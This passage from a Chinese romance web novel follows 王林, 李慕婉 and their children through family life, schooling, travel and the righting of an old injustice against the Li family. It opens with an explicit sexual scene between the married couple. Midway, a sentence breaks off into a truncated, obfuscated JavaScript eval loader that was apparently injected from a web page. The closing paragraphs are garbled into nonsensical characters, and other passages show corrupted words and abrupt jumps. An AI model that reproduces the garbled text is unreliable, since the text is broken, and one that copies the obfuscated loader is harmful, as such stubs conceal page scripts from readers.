软舌探着莲花瓣,挑了挑,清莲绽开,挑得她忍不住轻颤。 “王林,别……”她几欲是收着腿。 却有一股力量蛮横地拨开她,继续探出莲花瓣里的清水。 动静大了。 烛火燃尽,麻木的唇瓣这才从莲蕊移开,沿着平坦的小腹而上,最终恋恋不忘地停在红唇边,吻着她。 又是一阵晕眩,他直起腰身,抬了抬脚腕,宽肩摆着她无处安放的腿。 浪潮冲撞而入,几近猛烈地拍着她。 指甲嵌入褥枕里,抓了一块褥角,仰着脖颈难以承受的眉峰,随着他低鸣的嘶吼,不断唤着他的名字。 “婉儿的腰,委实是细。”王林大掌握着腰肢,一遍遍摩挲着。 李慕婉喘着息,“你别。” 蝉鸣掩盖了喘/息,他似乎听不见,像那声音忽进忽出,一阵一阵的。 伴随着窗外的声响,子夜来临,矮榻乱成一团,被褥掉了一半在地上,褥枕东一个西一个,李慕婉横躺在矮榻,枕着他大腿。 王林指尖一遍遍轻抚过她轮廓,心满意足地望着她疲惫的面容。 已经成婚几年,彼此身上看不见岁月的痕迹,除去多了几分韵味,她还是同从前一般娇俏,王林忍不住俯身点缀着她,把身上最后一丝余热还给她。 蝉鸣声停了,屋内烛光熄灭,几声沉音隐约传出窗外,臂弯枕着的人睡得熟,翌日她起不来,是王林送的王依依去的私塾。 73.嬉闹 “为什么娘亲今日不送依依呢?”王林牵着她小手,从宅子走到私塾一柱香的时间。 “娘亲没起呢。”王林给她提着小书箱。 “娘亲平日卯时就起了。”王依依小脸充满疑问,因着早起眉头并未舒展开,似还有困意。 “嗯,娘亲累了,”王林淡淡说,“今日爹爹送你去私塾,怎么依依不想爹爹送?” “那倒不是,”她思索着,“是因为爹爹跟娘亲说悄悄话,娘亲才没睡好吗?” 王林漾起唇笑了笑,“依依今日在私塾也要乖乖听夫子的话。” “夫子教的文章,依依都会背了。”她似乎不满意。 “那文章中所蕴含的道理,依依可都感悟了?”王林耐心说。 见她不是很明白,“背文章不难,难的是要悟出文章里所要讲述的内容和传递的信息是什么?” “依依不要觉着自己背完书便是完成夫子的功课,”蝴蝶小发髻一荡一荡的,“上学专心听夫子讲学,若有不明白的,回来爹爹替你解惑,可好?” “好。”到了私塾门口,王林停下脚步,把书箱给她背好,嘱咐道,“去吧,别跟其他同窗起争执,记得爹爹说的话吗?” “记得。”她意会说,“人若犯我……” 王林露出笑,“进去吧,下学后爹爹来接你。” “爹爹能不能带娘亲一块来。”王依依说。 “好。”王林应下她,她这才安心往私塾里去。 昏暮前,许立国在药铺看店,王林夫妻两人带着王思礼一块到私塾等王依依下学,她在私塾里人缘不错,脑子灵活,一副大姐姐的气势,把同窗都唬得一愣一愣的。 刚去私塾那会儿,有个年长几岁的大个子见她长得可爱,总爱欺负她玩儿,王依依性子直,许立国来接她下学时便把这事告诉了他。 许立国闻言二话不说,带着王依依去堵那人的路,他扛着一根木棒,吊儿郎当模样倚在小巷子的墙头,王依依见状有模有样学着他,也不知哪捡了根木棒,插着小腰。 “许立国叔叔,这样能行吗?”她还有些担心。 “小主子放心,这几个臭小子敢在私塾欺负你,”他肩头还背着王依依擦破的书箱,“这口气,我许立国替你出了。” “那你下手轻点,别把人打死了。”王依依若有其事道。 许立国嘴角抽搐几下,他哪里会把人打死了,顶多不过是教训一下。 那几个小子每回上学都要经过此处,见着王依依摇人堵道,自知打不过人家,灰溜溜便走了。 只不过翌日下学又堵了王依依的道,王依依把这事给许立国说了,许立国霎时明白这些小子背后有人撑着。 随即带着王依依又去堵了一次,果然,这一次还带了几个混混,年岁倒是有十三四岁,还都带了家伙事。 只可惜了,接不过许立国三招,几人连连求饶,王依依在一旁看戏般鼓掌,许立国踩着其中一人的手,威胁说:“这是我小主子,再让我知道你们在私塾里欺负她,见一次打你们一次。” 几人灰溜溜跑远了,许立国拍了拍手心,朝王依依挑眉一笑,“小主子,如何?” “许立国叔叔厉害。”王依依竖起拇指,担忧一闪而过。 “可是,爹爹若是知道了……”王依依揪着手指,“会不会责怪依依啊。” 许立国倒是不担心,拎起书箱便往药铺方向回,轻飘飘一句,“不会,你爹护短。” “若那些人胆敢寻上门,你爹估计还得再揍他们一顿呢。” 王依依开怀大笑,蹦着步子到他前边,“许立国叔叔,依依要吃糖葫芦。” “小主子,你爹娘不让吃。”他为难着。 王依依撒娇说:“许立国叔叔,好叔叔,就买吧,咱们吃完再回,爹娘不就不知道了?” “这……” 王依依一副受了委屈的表情,眼眶转着水珠,眼泪说来就来,她指了指自己的衣袖,“我衣裳都被人扯破了,许立国叔叔,买吧。” 许立国无奈,只好买了一串,带着她坐在街边小贩的椅子上,吃完了糖葫芦她便心满意足开开心心地回家。 往后在私塾那几人再不敢欺负她,只是回到家中李慕婉看着她换下的衣袖擦破了免不得要问。 王依依一本正经说是与同窗闹着玩时不小心撕破了。李慕婉嘱咐几句又检查她身上有无伤势后才为此作罢。 每回王依依放假了,便拉着许立国带她去戏楼玩,大牛要帮家里干活,去的次数少。但是王依依听话本回来都会到铁匠铺子讲给大牛听。 王思礼还小,总是跟不上脚步,许立国只能一手抱着王思礼,一手牵着王依依。 “许立国叔叔,爹爹说你从前是江湖中人,话本上都说,行走江湖的都是侠客,武艺高深,能抵千军万马,可是真的?”王依依仰头望着他,眼里充满好奇。 许立国嘴角抽搐,脑子浮现出一人,“小主子说的是你爹爹吧?”他也纳闷,王林不过一介书生,到底哪学来的一身武术,只身把丹青寨和剿匪军队玩弄鼓掌,还能全身而退,又能在众多护卫眼下手刃燕王。 当初好在他手下留情了,不若自己怕是小命难保。 “行走江湖也没什么意思,”许立国望着街道的人流,“长乐县挺好的。” “许立国叔叔也喜欢安定?”王依依动着小脑瓜,说,“祖父祖母常说,平安喜乐,便是人生最大幸事,这也是爹娘常说的话。” 话本里说的她悟得快。 “姐姐,糖。”王思礼指了指路过的小贩。 王依依扯着许立国衣袖,“买吗?” 许立国瞧着王思礼那可爱的模样,“买,但是先说好,回去不许跟你们爹娘说,不然主子又得训我。” 王依依露出笑,“下次也带大牛一块出来吧,曾大伯要大牛跟着学打铁,大牛最近都忙着呢,曾大伯常把子承父业挂在嘴里。” “爹爹继承了祖父的木雕手艺,算是子承父业,那以后思礼也要学木雕么?” 王依依偶尔下学后搬张小凳坐在门口揽客,便能听得曾父在铺子前打铁念叨。 “姐姐,我要考功名的,爹爹教我念书。”王思礼小手抓了块糖,有模有样的。 “好,小麻袋好好念书,祖父祖母说念书会聪明,长大后就不用姐姐保护你了。”糖霜蹭了满嘴都是,王依依扯起衣袖替他擦了擦。 “等思礼长大,保护姐姐。”他拿了一块塞入王依依口中。 “那晚上姐姐给你讲故事吧。”两人挤着一张竹椅嘴里嚼着糖糕,晃着小腿,望着落日前街道赶路的行人。 许立国撑着下巴,百无聊赖地等着姐弟两把糖吃完。 “许立国叔叔,上次你揍的那几个人,他们在私塾里见着我就躲。”王依依看向他。 “那不挺好的,这街道上,谁还敢欺负你们俩?跟许立国叔叔说,我替你们出头。” “可夫子问我怎么回事,你猜我怎么说的?”王依依扬起笑。 “说什么?”许立国懒洋洋应着她。 “我说不知道啊,”她小脸一本正经,“我让夫子自己去问他们,他们支支吾吾也不敢说。” 许立国眸子一沉,她这小主子机灵着呢,他有时候都哄不了她了。 街道夜市快开了,几人才走回铺子。 王林和李慕婉各自忙着铺子的事,一时半会忘了时辰。药铺后院养了些花草,王林搭了个鸡圈,里边养了几只鸡。 李慕婉怕鸡,平日都是他来喂的,每回王依依和王思礼都要跟着一块去,小孩对小动物总是充满好奇。 王林便会在孩子们面前说起娘亲以往的趣事,王依依捂着嘴一脸不可置信,娘亲居然还会被一只鸡堵在房里不敢出来。 她胆子大,盯着正在吃食的鸡,快狠准地擒住了。 鸡挣扎的力气大,扑腾中掉了几根毛,吹到王思礼衣袖上,他蹲着身子围观,王依依手脱了力,鸡胡乱窜着,往王思礼脸上蹬了一爪子。 哭声从后院传到药堂,李慕婉停了拨算珠的动作,王林抱着他哄了好一会儿,王思礼不哭了。 从后院出来时,水雾还在眼眶打着转,鼻头红红的,见着娘亲张开小手要她抱。 “怎么了?”李慕婉眼神寻问起王林。 王依依在他身后探出来,“娘亲,小花把思礼的脸抓疼了。” 王林点点头。 小花是她给取的名字。 看着那软糯白皙的小脸,印着个浅浅的爪子印,李慕婉想起儿时,也经历过这事,故而才这么怕鸡的。 往后王林再喂鸡,王思礼死活不愿意去。 他不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new 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“剥好了。”李慕婉递给他,王林接过却没吃,而是往她嘴边递。 爹娘和孩子们都在,李慕婉避开没咬,王依依倚靠在祖父怀里,看好戏地揶揄二人,“爹爹,娘亲不好意思了。” “要不,你们回房里喂呗。” 周英素和王天水跟着笑。 “依依。”李慕婉一脸正肃,面颊红透了。 王林宠溺地望着她,没有让她躲,“咬一口。” 李慕婉侧过身,听话地咬下一小口,“可以了。” “爹爹真的是。”王依依叹一口气。 “怎么了?”王林正回身,面颊带着暖笑,“依依也要爹爹喂?” 王依依别开脸,不理他,“依依要祖父喂。” “思礼要祖母喂。”王思礼也要学。 因着两个小孩玩闹,这顿饭倒是吃了许久。 谢三婶家拿来的地瓜多,家里放着吃不完,有时候换着法子做。 周英素煮饭时,两小人喜欢守在灶头烤火,争着要给祖母添柴,脸蹭得黑乎乎的。也不仅仅是为了烤火,守着灶头,还有烤地瓜吃。 闻着香味,两人肚子咕咕叫,咽着口水等祖母剥掉烤糊的皮。李慕婉进来时,见着两个小孩排排坐,手里一人捧着一根地瓜,小脸和小手黑漆漆的。 两人一脸无辜地仰头望着她,“娘亲。” 李慕婉应了一声,扭头就出去了。 *** 两人一从县城回来就野得很,整日不是在院里疯玩,就跑村里找大头和其他小孩玩,这会是不怕狗了,还能抱着谢三婶家刚下的狗崽睡。 虽说不怕狗,又被大鹅追,王林和李慕婉腿上各自趴了一个,脱下裤子的屁股红扑扑的,大鹅给啄的。 两个人委屈死了,周英素从鸡舍出来,见着两人趴在在爹娘身上,“怎的脱了裤子啊,别着凉了。” “娘,依依和思礼被人家的鹅啄了。”李慕婉拍着王依依腚。 “钱大娘家的吧,下次出去玩绕着点走。” “还疼吗?”王林捏捏王思礼的脸蛋。疼自然还是疼的,这会他又怕鸡又怕鹅。 “疼,爹爹吹吹。”王思礼趴着钻在他腰侧,小手攥紧衣角。 “我去拿药来。”李慕婉抱起王依依起身入了房间。 “爹爹,疼……”王思礼又撒娇。 “知道了。”王林吹了几下,风凉凉的,李慕婉拿了药,涂抹后红痕消了些,两人吃饭时也不乐意坐,就这么站着吃,屁股还疼着呢。 74.游历 李慕婉发觉随着两个孩子长大,王林越发喜爱逗他们玩,幼稚得很。 王依依和王思礼喜欢扑在院里的绿草上玩,王天水新做了能跑的木车。 轮子上关卡设计的巧妙,只要转动螺旋,木车便有足够的动力跑出小段路,王依依玩得停不下来,两人各趴一边,木车从王依依这头跑到王思礼那头。 王林收了草药送回药房里,从檐下走过时,状若无事地弯腰拿了跑到半道的小木车就走。 两人眼对眼懵了片刻,还以为爹爹要跟着一块玩,谁料爹爹走远了,这才意识到爹爹是把玩具拿走了。 王依依赶忙起身,王思礼也撑着起,追上去,可房门关上了。 “爹爹,还我小木车。”王依依立在门外喊。 王思礼也跟着喊,“爹爹,小木车。” 长木桌上放了不少玩具,李慕婉在屏风后换衣裳,“阿兄,依依思礼闹什么呢?” 王林唇角弯起,朝屏风扫了眼,“没什么。” 李慕婉心有感知,说:“你别又把他们惹哭了,你哄啊。” 她穿好衣裳从屏风后走出来,走近王林。 门外的喊声演变成哭声,无人作答,王依依和王思礼坐在地上哭。 “你瞧,又哭了。”李慕婉撑在他肩头,靠近他,呼吸绕着他耳侧。 王林侧头脸贴过去,碰上温柔的唇瓣,起身去开门。 “爹爹抢人家玩具,我要告祖母。”王依依揉着眼睛,听着开门的动静。 王林隔着距离,蹲下身,手撑在膝盖歪头与二人对话,“你二人在那草地躺多久了?” 李慕婉倚在窗台,双手拖着脸,看好戏的姿势。 “爹爹,还给我,你又不喜欢玩,为何要抢。”王依依扎在地上,眸子委屈地瞪着他。 “这个时辰,你们该谁午觉了。”王林伸手要去扶她去来,她欻一下别过身子,没让他碰。 看来是真委屈了。 李慕婉见状不忍笑出声,王依依哭诉道,“娘亲,爹爹又欺负我们。” “依依乖乖起来,娘亲让爹爹把小木车还给你们,你们就去睡午觉,醒后再玩,好不好?”李慕婉柔声道。 “好。”王依依盯着王林手里转着的小木车,等着他还回来。 “依依起来,爹爹再还小木车。”白发落在胸前。 王依依自个乖乖起身拍了拍屁股,又扶起一旁的小思礼。 “爹爹,可能还给我们了?”她伸出手去要。 王林擦了一把泪,小木车还她了。 “哼。”王依依嘟嘴警惕地睨他一眼。绕过他进了屋内,直奔李慕婉去。 王林笑笑,倚回门框,看着李慕婉给俩小孩换了衣裳,乖乖爬上矮榻睡。 孩子们睡着后,两人才能安静地待一会儿,她靠着王林肩头,“依依和思礼回来王家村便玩得疯,也野性了不少。” 王林搂过她腰身,“他们愿意出去玩也好,不若像我,长大了性子闷,也不是好事。” “嗯?”李慕婉又往他贴近一些,面颊蹭着他颈侧,暖热的,淡淡的提神香,“阿兄性子不闷,你爱逗孩子们玩,我觉着阿兄也变了。” “如何又变了?”王林不解。 李慕婉不说话,就这么贴着他,王林受着力,也不作声,任她闹。 他摆脸端着时孩子们害怕,可他也会逗他们玩儿,弄哭了就哄,哄不好先晾着,他耐心过人,等哭好了再哄。 李慕婉方觉,他成了父亲后,倒更像个孩子了,与初识那会,变了许多。 “爹娘酿了果子酒,酒味不重,思礼前两日贪口,一个没留意自己喝了小一碗。”李慕婉想起几日前的事,“昏昏地躺在堂屋时,我都吓坏了。” “婉儿把孩子照顾的很好,是我没留意,只以为他是困了。”王林宽慰她。 “依依如今可没那么好哄了,阿兄往后逗她时,可得把好度。”李慕婉声音懒洋洋的,也只有在他这,她才会这般毫无顾忌的撒娇。 怀里的人软软的,王林另一只手环上,圈起她腿,李慕婉整个身子到了他腿上。 “我小时候倒是没像他们那么疯,总归孩子开心,我跟婉儿也开心。”他轻点了唇。 “我小时候也没玩过这些,倒是羡慕他们了。”李慕婉说,“谢三婶家的田里新放了鱼苗,依依和思礼去探热闹,抓着鱼,又想玩又害怕,还要哭。” 她忍俊不禁,想起那画面便想笑,王林脑子里却另有他人,“婉儿第一次抓鱼时,可也是这般的?” “哪有?”李慕婉不承认。 “是吗?”王林眼神瞟着书架,似乎寻什么,“入京时,婉儿给我的家书,我还留着呢,我找找?” “你……”李慕婉生气了,“放我下来。” “我这会知道依依爱生气,性子是随了谁。”王林偏不放,抱得更紧了,俯身下颚抵着她胸口,轻轻碾了两下。 有时也不只夫妻俩会训孩子,周英素万般不舍,疼爱孙儿,也会有火炸的时候。 天气热了,孩子贪凉,便在院子里舀水玩,王依依泼着弟弟,弟弟也没示弱,泼回去了。 身上挂着水流,头发也打湿了,玩得不亦乐乎,周英素刚从鸡舍回来,一不留神,又要造反,免不得要训两句,抓到檐下面壁思过。 王林和李慕婉撑在窗台,看了好一会儿,没当回事,继续躺回矮榻窝在一块看书,王林撑着半身给她靠,李慕婉枕在臂弯里,“方才看到哪了?” 王林一页一页翻着书,“这。” 可周英素到底没王林夫妻当父母的狠心,过没多时便叫回屋给换了衣裳,西厢房门关着,她没打扰二人,心照不宣的顾起孩子。 重新换了衣裳的两人跟着祖母去鸡舍喂鸡,母鸡刚孵出一窝鸡崽,跑出了鸡舍。王依依帮祖母忙,一手一只,踹怀里,王思礼站得远远的。 抓完鸡回来,周英素又拿了叠瓜子,让两人坐院里竹几上,木墩子不高,一人一边,还翘起二郎腿,有模有样的。 夫妻俩从西厢房出来,往白梅树下去,盯着惬意的姐弟俩。 王依依刚磕好一个瓜子,“爹爹娘亲,你们说完悄悄话了?” 王林拍了拍王依依的膝盖,“哪学得?” “村口学的。”她倒是回的快。 “跟你娘亲一样,被那些婶子带坏了。”王林搂着李慕婉坐在一旁的竹椅上。 “那若我以后也成了那些婶子,阿兄是不是就不喜欢婉儿了。”李慕婉歪头一笑。 “那我就跟着婉儿一块去村口坐着,也说村里闲话?可好?”王林吊着坏笑。 李慕婉拳头往他肩甲落了一下。 *** 王思礼虽说年纪小些,认得字却全,王林与私塾商议后,私塾答应让王思礼去上课。 王林接孩子下学时,私塾的孩子们几乎都出来了,唯独不见王思礼和王依依。 王依依在玩着手里的木蜻蜓,耐心等着王思礼,他被几个人女同窗围着借功课看。 她不催,也不帮忙,就静静等着,故而出了私塾时,已快天黑了。 回去后李慕婉特意问了问,“怎得今日回来得那么晚,夫子耽误下学了?” 王林放了两人的书箱,同李慕婉说:“思礼要教同窗讲学呢,故而耽误了时辰。” “是嘛,”李慕婉蹲下身问他,“同窗怎得不问夫子,偏要问思礼?” “那些人喜欢思礼长得好看,念书厉害,自然就围着他了。”王依依小手捧着茶盏,渴死她了。 李慕婉轻笑,他的小模样是长得俊俏,不难怪会被同窗喜欢的。 这点她倒是深有体会,从前在书院也是这般受欢迎,那些同窗少年,总要寻着法的来与她说话,惹她留意。 “那爹爹岂不是等了许久。”李慕婉看向王林。 “若是真心请教思礼的,思礼如实解惑没有问题,可若是以此为借口,生出旁的心思,思礼该拒绝便拒绝,无需有愧疚之心。”拖泥带水的性格可不好,王林不喜欢。 王思礼很听王林的教诲,忙点头,“爹爹,思礼知道了。” “婉儿从前在书院,也是这般受欢迎?”王林眸子散出一丝邪魅。 完了,这是冲她来的,李慕婉忙转身,避开话题不谈,却被他身影挡下。 “婉儿还没回我的话。”王林把她整个身躯遮住了,王依依只能看见娘亲露出来的裙摆,王思礼仰着头看爹娘。 “爹爹,娘亲?”他懵懂地唤着。 王依依早就见怪不怪了,跳下木墩子,拉着王思礼出去玩,“思礼,走,咱们去找大牛玩。” 王思礼原本还想看书,又被拉走了。 “婉儿在百松书院时,很招同窗喜欢吧,”王林扣紧她后腰,“我今日去接思礼,见着那些孩子围着他,他很无奈,又不懂得拒绝。” “婉儿也是这般的?” “阿兄,你在说什么呢?”李慕婉望着铺子门外,这个时辰都要打烊了,客人少。 “我说,我吃婉儿 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李奇庆把大部分药商交由她打理,短短两年,不仅拓展了京城药商之路,生意遍布赵国,连同楚国都有涉及。清平镇曹氏水运早一年前被她以高价收入,如今已是李家的行当。 “舅舅,这是思礼从京城寄回来的信。”王依依递了信纸到李奇庆跟前。 两年前,王思礼在殿试上考得状元,回乡时王家村乃至清平镇挤满人影,众人皆是来一睹这状元风采的英姿。 状元郎身形挺立,红袍加身,身前跪拜的是一对郎才女貌的璧人,此二人正是状元郎父母。而让人不解的是,这二人容颜明明不过二十五六,却有一个年到十四的状元郎儿子。 两人本就生得一副好相貌,长大的王思礼面如冠玉,温文尔雅,五官轮廓酷似王林,却没有他眉眼中的凌厉,而是多了几分李慕婉的柔和。 王依依生的妍姿俏丽,姣若秋月,一双眸子像极了王林,性子倒是与李慕婉相似。李奇庆总觉在她身上瞧见了京城时的小妹。 李奇庆常揶揄夫妻二人,是否当真服用了那驻颜丹才永葆容颜的,李慕婉只是笑笑不作声。 “你拆开看看。”李奇庆手里腾不出空,王依依拆了信封,念给他听。 王思礼的信中提及了京城任职一事,又说了些关于商人之策,王依依很快捕捉到信息,“舅舅,咱们去京城一趟吧。” “去京城?” “对啊。”王依依说,“思礼在御前向皇帝请了恩,允他调查外祖旧案,平反了李家冤情,陛下撤回娘亲和舅舅不得入京的旨意,您如今可自由出入京城,舅舅怕什么?” “去京城做什么呢?”李奇庆心神恍惚呢喃着,思绪繁杂。 “谈生意啊。”王依依双手撑着下巴,盯着似乎忙碌的李奇庆,只觉得他在掩饰什么。 “舅舅,你怎么了?”王依依打量着他,他不是这般犹豫不决之人。 “无事,你爹娘远游何时回来?”李奇庆岔开话题。 王依依撑起身,“爹娘去瀛洲游历了,前阵子回的信上说爹爹在那讲学,还要月余就回来,也不知呢。” “不是说陪婉儿去游历,怎么又讲学了?”李奇庆抓着药单。 “爹爹从前不愿意接外地的讲学邀约,是因为放不下娘亲,”王依依说,“可眼下娘亲在爹爹身边,爹爹自然会愿意接受邀约的。” 这些年他在长乐县不少文人学子慕名前来与王林讨教,大儒的名号几乎传便赵国。 “临州那件事以后,给你爹造成的伤痛是深入心脉的,”李奇庆一副明了的样子,“自你们从燕州回来,此后,你爹娘就从未分离过,去哪都得黏在一块。” “爹爹讲学时,娘亲就坐在其边上,”王依依说,“总归我是悟不出来爹爹所讲的道,娘亲就能听懂。” “他们是心灵相契的伴侣。”李奇庆目含欣慰,又透出一股羡慕。 王依依帮忙摊着单子,习以为常的语气,“娘亲也就无意说了句瀛洲的海货鲜甜,爹爹便连夜寻了地图,计划游历路线,只留了张字条给我,叫我照看好祖父祖母。” “你爹娘倒是会享乐啊。”李奇庆哭笑不得,这倒像是王林能做出来的。 王依依跟着他学经商,大多时候都住在镇子上,王林夫妻二人在外游历,她便搬回竹林小院长住,照顾祖父母。 两人寄了许多瀛洲物产回来,王依依望着铺子堆叠的物产,她每日从清平镇往来王家村,前阵子刚从临州选了匹千里马,从永陵港上的岸,有了马倒也不耽误路程。 75、旧怨 王思礼入京赶考前一夜,父子俩在白梅树下谈了一晚,王林一口接一口的清酒入喉,赏着月色,深眸却装着西厢房窗台下的李慕婉。王思礼在父亲眼中瞧见对母亲满满的爱意,忍不住说:“爹爹,孩儿若是去了京城,往后就不常见您和娘亲了,还有阿姐,祖父祖母,舅舅他们。”王林似乎有所感同身受,追忆往事,“当初爹爹入京赶考也如你一般不舍,可我知道爹娘会等我回来,有人会等我回来。”“你既选择仕途之路,那就坚守你的决定,爹娘会在竹林小院等你回来。”王林手臂搭着他肩头,他个子随了王林。“爹爹舍得孩儿吗?”王思礼的学问大多来源于王林,可他也有自己独特的见解,他的天赋不比王林差。 自然会念着的。”王林满限柔和,两人年纪看着不过兄长模样,“以前参 入京时,你祖父祖母也舍不得,爹娘说即便没有考上也没关系,路路实实回来,当时的我只想争-口气,势必要取得功名,不负爹娘多年养育之思。”王思礼疑惑地看着他,“可是爹爹还是留在了王家村,以爹爹的才学,怎会没有取得功名呢?” “爹爹不求你大富大贵,只是有一事,若思礼在殿前取得功名,可否答应爹爹一事?”王林蓦然正肃,岔了话题,王思礼显少见他这般。“爹爹于我,何必要这般见外,您的事便是孩儿的事,孩儿自当竭尽全力。”王思礼道。 王林抬住他手腕,目光又落到西厢房的人影里。 “你娘亲从前也是京城世家之女,只因家道中落才流落王家村。”王林缓缓道。 此事王思礼听过李奇庆念过一两句,倒是有知道一些。 “李家当初蒙冤受狱,本是被有心之人所利,你娘亲和舅舅这些年因背负沉冤而不得入京。若你有朝一日为官,爹爹唯一所愿,便是你能替娘亲家族洗刷冤屈。” 这是他这些年来一直藏着的一件事,从临州遇见李元朗,听得他父女二人的话,他这才明白当年李家入狱前因后果,为此一直记着。 李家父女死在那场山崩中,虽算替她家族复了仇,可李家的冤屈仍在,李慕婉虽从未提及,他自然知晓那是钉在李家兄妹身上的一根刺。 王思礼眉心凝了须臾,随即双膝跪地,叩了一首,承诺道,“爹爹放心,孩儿定会替外祖家平反冤屈。” “还有一事。”王林声音沉闷。 “孩儿知道,不要与娘亲说,此事是父子之约,”王思礼扬起笑,“爹爹,孩儿可猜中您的心思了?” 王林摇了摇头,“你跟你阿姐一样,打小就聪慧,也懂得察言观色。” 他倒是不担心王思礼入京后会吃亏,王林眉心舒展,眼尾挑起,“待你入京,爹爹让许立国同你随行,京城不比清平镇,多一人在你身侧,爹娘和祖父母能安心些。”王思礼颔首,李慕婉插好了花,从檐下走过来,残影映着轮廓,父子二人视线落在她身上。 王思礼印象中,娘亲大多都足忙碌的。她很在意爹爹的情绪,怕爹爹不开心,会为祖父祖母的身体康健翻阅医书古籍,更会担忧自己与姐姐的温饱冷暖,至于自己与姐姐的选择,她从未干预过。他暗自下定决定,定然会争气考取功名,替外祖家申冤,平了娘亲与舅舅多年的不公。 *** 瀛洲海风徐过客栈,街道下人潮拥挤,大多是外乡来此处游玩的行客。 “此次出来已有数月,婉儿可玩尽兴了?”客栈一处厢房,李慕婉手臂枕着被褥,趴着脑袋仰看他,王林爱怜地抚摸着她眉宇,几缕碎发耷拉在额前。她语气泛着累意,瀛洲游玩了几月,属实把她累着了,她扯了一缕王林的白发,揪着玩,“尽兴,有夫君陪着,自然尽兴。”王林宠溺地轻笑一声,“依依来了书信,说要带着兄长入京一趟。” “自打陛下赦免我和哥哥的入京禁令,我总觉得哥哥还是想回去走一趟的。”李慕婉装着事说,“依依一直想把商路打入京城,阿兄,你觉得如何?” “思礼走仕途之路,为国献策献计,依依沉迷经商之道,”王林想起女儿常挂在口中的话,“她一心致力成为皇商,去京城一趟未必是坏事,孩子们长大了,有自己的路要走,婉儿不必为他们操心。” “话虽如此,阿兄成家后爹娘不还照样担忧,天下父母心都是一样的,”李慕婉撑起身,靠着他,“不过有阿兄在身边陪着,也还好。” 王林笔直的身躯微微俯身,下颚抵着她额心,“我亦如此。”“歇息一日,明日启程回清平镇,婉儿,坐水路吗?”王林轻声细语道。李慕婉抱着他手臂,几乎整个人坐在他身躯之上,就这样被他围着。 “这个季节水路沿途景致不错,走得虽说没有陆路快,但是景色宜人。”李慕婉蹭着他,身上淡淡的香味浸入他鼻息。王林阖眼享受,“那婉儿是答应了,我来安排。” 李慕婉伏在他肩甲处,气息平稳,缓缓失了力道,王林拖着重量,叠起褥枕,让她半躺着,睡颜清浅。他就这么肆无忌惮地端详她,未经岁月洗礼的容颜,俨然初见时那么娇俏,王林心潮澎湃,朝水润的红唇落下一吻。李慕婉微动了下,王林触着她眉心,手臂环过她身躯,贴着她撑手躺下,久久注视着怀里之人。 *** 二人从瀛洲乘船回清平镇耗时一个多月,王依依和李奇庆候在永陵港半日,终于见着瀛洲来的商船。“爹爹,娘亲。”王依依挥动手臂临着人群呼喊,不少卸货的水手在甲板上穿梭而过,王林紧紧护着身侧的她。王依依侧头偏向一旁的李奇庆,“舅舅,你瞧我爹,偏爱我娘,恨不得含在口中,捧在心里。”“世间若是能寻得像我爹这样专情的男子,我王依依定会待他百般好。”她双手叠胸,灵动跃然而起。“哼,清平镇的青年才俊,富商公子们哪个不倾心于你,你可都正眼瞧了。”李奇庆忍不住揶揄她。十八岁的她早已出落得亭亭玉立,不少才俊仰慕她的容颜和才学。从外州而来,借着与她谈生意的名头,实则却为的是她这个人。 “那怎么办,我就是瞧不上嘛。”王依依还怪委屈。 “你呀,跟你娘年轻时一模一样,众星捧月不自知。” “那我娘亲怎得就看上爹爹了?”王依依嘴快,说罢后又觉不对,改口道,“爹爹与娘亲甚是般配。”“可这世上哪那么多神仙眷侣啊,若都能像爹娘一样,得去哪寻个与自己心灵相通的伴侣,我不行。”“舅舅不也是不行吗?”王依依说,“故而这些年,还独身一人。” “那倒是。”李奇庆被她噎得没话说,“舅舅没有良缘,但见着你娘亲幸福,我这当兄长的,便已足矣。”王依依看了他一眼,若有所思问:“舅舅,你那还有驻颜丹丹方吗?” “做什么?” “娘亲用了你的驻颜丹,还是那么年轻漂亮,依依也想要。”她抱着李奇庆手臂撒娇。 “你这个年纪还没长开呢,怎得就要驻颜丹了?”“舅舅……”一声舅舅尾音转了好几个弯,李奇庆拿她没办法。“给你娘亲了,你寻她要去。” 王依依松了手,“哦。” “对了舅舅,二十年前,清平镇由四大家族掌管财路,后来一夜之间便只剩下三个家族。”王依依想起老工人近日说的陈年旧事,“舅舅,可有听闻清平镇二十年前有家大族被灭的传间?”商船还未停靠好,甲板上的李慕婉和王林一同瞧见码头上恭候已久的二人。“略有耳闻。”李奇庆回忆起那场惊天动地的抢婚。 “听闻那家人强娶了一位有婚约的女子,那抢婚之人一路杀伐,屠戮满门,无人生还。”王依依五官透着好奇,“原还以为是那些话本先生为赚茶钱编造的故事呢。”“或许吧。”李奇庆浅浅一笑,“舅舅也不太清楚。”她又朝船上二人招手,“爹爹这白发,立在人群之中,还怪显眼的。” 发冠束起的银发,两缕散下胸前,一身白袍,腰封上系的是李慕婉新绣的荷包,一双白鹤栩栩如生,加之他那气质,俨然瀛洲岛上的蓬莱仙客。 “若非那场抢婚……”李奇庆呢喃着。 “舅舅你说什么?”王依依回头望去。 “船靠岸了。”李奇庆拍了拍她肩头,“去接你娘亲吧。” 待商船靠好,人群散去,李慕婉与王林下船,王依依跑着去接,紧紧抱着李慕婉。 “娘亲,爹爹,依依可想你们了。” 王林泛着笑,宠爱道,“怎么半年不见个子又长了?” “舅舅说过了十八岁就不容易长了。”王依依说。 “方才在船上就见你与舅舅说个不停,聊什么呢?”李慕婉身上的纱衣鼓动,宛若惊鸿仙子。 “没,”王依依藏着笑,“没什么。” 李奇庆等三人走近,李慕婉和王林唤着他,他这才接着话,“咱们家依依长大了,如今可是清平镇的香饽饽,样貌才学数-数二,商道又无人能及,连我这个舅舅都略输一筹啊。” 李慕婉泛起笑,“哥哥让着她,就使劲夸,依依该骄傲了。” “舅舅说的也有几分道理,”王依依眨着眼睛,俏皮说,“不过我这是随了娘亲的。” “那你敢不敢把那些追捧你的公子们,带到你爹娘面前啊?”李奇庆挑着眉故意道。 “舅舅。”王依依锁起眉颇有怨怼,那小模样像极了王林。 “哦?”王林吊起眉梢,似乎嗅到猎物的气息,“什么人追捧我们家依依?哪家的?姓甚名谁?” 王孤依掘后不酒,李有庆丽着手指接道,“哪可说不完了,警如替氏缩长和,私坐的江先生,长乐县今年刚中的李秀才,西头酒楼东家的大公子,长乐里 的酒内,更有基右阳壁部县的里族也管有过风声,要-吼我们家依依的风采呢,那 是说不完的…” 